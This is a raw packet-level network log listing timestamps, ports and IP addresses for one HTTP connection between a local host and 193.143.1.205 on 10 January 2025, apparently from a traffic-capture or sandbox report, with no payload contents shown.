Jan 10, 2025 17:24:45.869903088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.869906902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.869929075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.869981050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.869982958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.869993925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870004892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870019913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870050907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870078087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870089054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870100975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870111942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870153904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870170116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870213985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870224953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870234966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870249033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870285034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.870326042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.870352030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903198004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903239012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903249979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903251886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903263092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903275013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903284073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903287888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903352976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903368950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903379917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903403044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903407097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903419018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903441906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903476954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903489113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903500080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903517962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903536081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903572083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903589010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903599977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903609991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903620005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903625011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903630018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903642893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903670073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903685093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903856993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903870106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903881073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903894901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903897047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903906107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.903914928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.903944969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904084921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904098034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904108047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904138088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904191017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904202938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904213905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904223919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904225111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904233932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904247999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904251099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904261112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904289961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904313087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904695988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904716015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904727936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904745102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904750109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904757023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904767036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904778004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904778004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904788017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904798031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904808044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904805899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904818058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904829025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904839039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904849052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904850960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904860973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904872894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904876947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904886961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904897928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904898882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904908895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904916048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904920101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904930115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.904947042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.904975891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908135891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908150911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908162117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908176899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908196926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908293009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908303022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908313990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908324957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908346891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908351898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908359051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908370018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908380985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908386946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908392906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908405066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908411980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908415079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908427000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908443928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908461094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908703089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908714056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908725977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908751965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908854008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908864975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908876896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908885956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.908889055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.908935070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.909039021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909049988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909060955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909070969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909075975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.909082890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909092903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909105062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.909106970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.909137011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.909152985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.935702085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935715914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935734987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935745955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935755014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.935758114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935770035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935789108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935801029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.935823917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.935854912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.946902037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946916103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946928024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946938992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946949005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946959019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.946959972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.946978092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.947024107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.947098970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.947112083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.947149992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962259054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962277889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962291002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962304115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962327957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962332010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962342978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962353945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962373972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962389946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962390900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962399006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962409019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962419987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962430000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962439060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962445021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962455034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962460995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962472916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962492943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962506056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962517023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962517023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962527990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962538958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962546110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962554932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962574959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962578058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962584972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962599993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.962631941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.962657928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.977807999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.986124992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995714903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995791912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995803118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995815039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995826006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995836973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995842934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995846987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995870113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995886087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995887041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995898962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995904922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995908976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995920897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995932102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995935917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995943069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995953083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995966911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.995970964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995980978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.995992899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996011019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996032953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996037006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996043921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996057034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996088028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996095896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996105909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996109962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996123075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996124029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996162891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996216059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996226072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996243000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996251106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996259928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996264935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996277094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996288061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996304035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996331930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996356964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996371031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996412039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996467113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996476889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996486902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996496916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996507883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996514082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996525049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996539116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996541023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996548891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996560097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996562958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996570110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996587038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.996591091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.996623993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.028409958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028465986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028476954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028489113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028498888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028512001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028521061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028542042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028552055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028712988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.028734922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028764009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028795004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028800964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.028808117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028831959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028840065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.028928041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028939009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028949976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028966904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028968096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.028979063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028989077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.028990984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029000044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029011011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029016018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029021978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029031992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029032946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029052019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029076099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029104948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029114008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029130936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029138088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029148102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029150963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029176950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029176950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029186964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029203892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029225111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029280901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029290915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029303074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029313087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029314041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029325008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029331923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029359102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029402018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029412031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029422998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029433012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029449940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029454947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029460907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029472113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029481888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029483080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029491901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.029501915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.029519081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.039259911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039272070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039292097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039303064 CET	80	49704	193.143.1.205	192.168.2.8
